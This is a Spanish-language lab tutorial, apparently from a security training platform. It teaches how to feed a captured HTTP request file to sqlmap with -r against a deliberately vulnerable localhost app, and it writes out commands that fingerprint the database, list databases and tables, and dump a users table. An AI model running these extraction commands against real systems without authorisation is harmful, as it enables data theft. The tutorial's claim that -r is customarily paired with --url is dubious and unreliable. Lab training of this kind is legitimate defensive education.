Escanear desde un Archivo de Solicitud HTTP Capturada en sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá una técnica potente para usar sqlmap, una popular herramienta de pruebas de penetración de código abierto, para detectar fallos de inyección SQL. En lugar de proporcionar directamente una URL de destino, capturará una solicitud HTTP completa utilizando una herramienta proxy como Burp Suite o ZAP, la guardará en un archivo y luego instruirá a sqlmap para que utilice este archivo en su proceso de escaneo. Este método es particularmente útil cuando se trata de solicitudes complejas (por ejemplo, solicitudes POST con muchos parámetros, encabezados personalizados o tokens de autenticación) o cuando desea reproducir una solicitud específica sin tener que reconstruirla manualmente. Al final de este laboratorio, será competente en el uso de solicitudes HTTP capturadas para pruebas de inyección SQL más precisas y flexibles con sqlmap.

Capturar una Solicitud HTTP Completa con Burp Suite o ZAP

En este paso, aprenderá a capturar una solicitud HTTP completa utilizando una herramienta proxy web. Si bien Burp Suite y ZAP son opciones comunes, para simplificar y evitar complejidades de GUI en este laboratorio basado en terminal, simularemos la captura de una solicitud construyendo directamente una solicitud HTTP en formato bruto para una aplicación web vulnerable.

Primero, asegurémonos de que nuestra aplicación web vulnerable simulada sea accesible. Abra una nueva terminal y use curl para hacerle una solicitud.

curl http://localhost/sqli_test/index.php?id=1

Debería ver una salida similar a esta, confirmando que la aplicación está en funcionamiento:

id: 1 - Name: Alice<br>

Ahora, crearemos manualmente una solicitud HTTP en formato bruto que sqlmap pueda utilizar. Esta solicitud se dirigirá al parámetro id, que es vulnerable a la inyección SQL.

nano ~/project/request.txt

Pegue el siguiente contenido en el archivo request.txt. Esto representa una solicitud GET simple a nuestra aplicación vulnerable.

GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Guarde el archivo presionando Ctrl+X, luego Y para confirmar, y Enter para guardar en request.txt.

Guardar la Solicitud en Bruto en un Archivo de Texto (ej. request.txt)

En el paso anterior, ya creó y guardó la solicitud HTTP en bruto en ~/project/request.txt. Este archivo ahora contiene toda la información necesaria para que sqlmap comprenda el objetivo y cómo interactuar con él, incluido el método HTTP (GET), la ruta (/sqli_test/index.php), los parámetros (id=1) y varias cabeceras HTTP.

Para confirmar el contenido del archivo, puede usar el comando cat:

cat ~/project/request.txt

La salida debería mostrar la solicitud HTTP exacta que pegó:

GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Este archivo request.txt está ahora listo para ser utilizado por sqlmap.

Usar la Opción -r para Cargar el Archivo de Solicitud

En este paso, aprenderá sobre la opción -r en sqlmap. La opción -r le indica a sqlmap que cargue la solicitud HTTP desde un archivo especificado en lugar de requerir una URL directamente en la línea de comandos. Esto es crucial para escanear solicitudes complejas o reproducir tráfico capturado.

La sintaxis básica para usar la opción -r es:

sqlmap -r < archivo_solicitud > [opciones]

Donde <archivo_solicitud> es la ruta al archivo que contiene su solicitud HTTP en bruto. En nuestro caso, será ~/project/request.txt.

Antes de ejecutar el escaneo completo, intentemos una prueba simple para asegurarnos de que sqlmap pueda analizar el archivo correctamente. Usaremos la opción --url con una URL simulada, solo para cumplir con el requisito de sqlmap de tener un objetivo, pero la solicitud real provendrá del archivo. Esta es una práctica común al usar -r.

sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint

La opción --fingerprint intenta identificar el sistema de gestión de bases de datos (DBMS) backend. Si sqlmap procesa correctamente el archivo de solicitud, iniciará su proceso de identificación. Es posible que se le hagan preguntas; para este laboratorio, generalmente puede aceptar las opciones predeterminadas presionando Enter o y.

Debería ver que sqlmap inicia su proceso, indicando que está leyendo desde el archivo. Busque una salida similar a:

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r18600)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:34:56 /2023-10-27/

[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...

Esto confirma que sqlmap está cargando correctamente la solicitud desde request.txt.

Ejecutar el Escaneo usando sqlmap -r request.txt

Ahora que entiende cómo cargar el archivo de solicitud, es hora de ejecutar un escaneo completo de inyección SQL usando sqlmap con la opción -r. Utilizaremos algunas opciones comunes para hacer el escaneo más efectivo.

El comando será:

sqlmap -r ~/project/request.txt --batch --dbs

Analicemos estas opciones:

  • -r ~/project/request.txt: Carga la solicitud HTTP desde el archivo request.txt.
  • --batch: Ejecuta sqlmap en modo no interactivo, respondiendo automáticamente "sí" a la mayoría de las preguntas. Esto es útil para scripting o cuando sabe qué esperar.
  • --dbs: Enumera las bases de datos del sistema de gestión de bases de datos (DBMS). Este es un primer paso común para descubrir las bases de datos disponibles.

Ejecute el comando:

sqlmap -r ~/project/request.txt --batch --dbs

sqlmap comenzará ahora su proceso de escaneo. Probará varias técnicas de inyección SQL contra el parámetro id en la solicitud. Dado que nuestra aplicación simulada es vulnerable, sqlmap eventualmente debería identificar la vulnerabilidad y listar las bases de datos disponibles.

Verá mucha salida mientras sqlmap realiza sus pruebas. Busque líneas que indiquen la detección de una vulnerabilidad y la enumeración de bases de datos.

Fragmento de ejemplo de salida:

...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...

Esta salida confirma que sqlmap identificó con éxito el parámetro id como vulnerable y encontró la base de datos testdb, que creamos en la configuración.

Verificar que el Escaneo se Dirige a los Parámetros Correctos del Archivo

En este paso final, confirmaremos que sqlmap identificó y se dirigió correctamente al parámetro id de nuestro archivo request.txt. Esto es crucial para asegurar que su solicitud capturada se está interpretando según lo previsto.

Cuando sqlmap comienza, generalmente identifica los parámetros inyectables. Puede observar esto en la salida del paso anterior. Específicamente, busque líneas que mencionen "GET parameter 'id' appears to be... injectable".

Para verificar aún más, intentemos volcar datos de una tabla dentro de nuestra base de datos testdb. Usaremos la opción --dump junto con la especificación de la base de datos y la tabla.

Primero, listemos las tablas en testdb:

sqlmap -r ~/project/request.txt --batch -D testdb --tables

Debería ver que sqlmap identifica la tabla users:

...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...

Ahora, volquemos los datos de la tabla users:

sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump

Este comando instruye a sqlmap a volcar todas las entradas de la tabla users dentro de la base de datos testdb, utilizando la solicitud cargada desde request.txt.

Debería ver los datos de la tabla users, lo que confirma que sqlmap explotó con éxito la vulnerabilidad a través del parámetro id especificado en su solicitud capturada:

...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name    |
+----+---------+
| 1  | Alice   |
| 2  | Bob     |
| 3  | Charlie |
+----+---------+
...

Esto confirma que sqlmap analizó correctamente el archivo request.txt, identificó el parámetro id y explotó con éxito la vulnerabilidad de inyección SQL para extraer datos.

Resumen

En este laboratorio, ha aprendido con éxito a aprovechar la potente opción -r de sqlmap para buscar vulnerabilidades de inyección SQL utilizando un archivo de solicitud HTTP capturado. Comenzó comprendiendo el concepto de capturar solicitudes HTTP sin procesar, luego creó manualmente un archivo request.txt que representa una solicitud GET a una aplicación vulnerable. Luego utilizó sqlmap -r request.txt para iniciar escaneos, primero para obtener la huella digital de la base de datos y luego para enumerar bases de datos y volcar datos de una tabla específica. Este método proporciona una inmensa flexibilidad, lo que le permite probar escenarios complejos, reproducir tráfico específico e integrar sqlmap de manera más fluida en su flujo de trabajo de pruebas de penetración de aplicaciones web. Dominar esta técnica es una habilidad valiosa para cualquier profesional o entusiasta de la seguridad.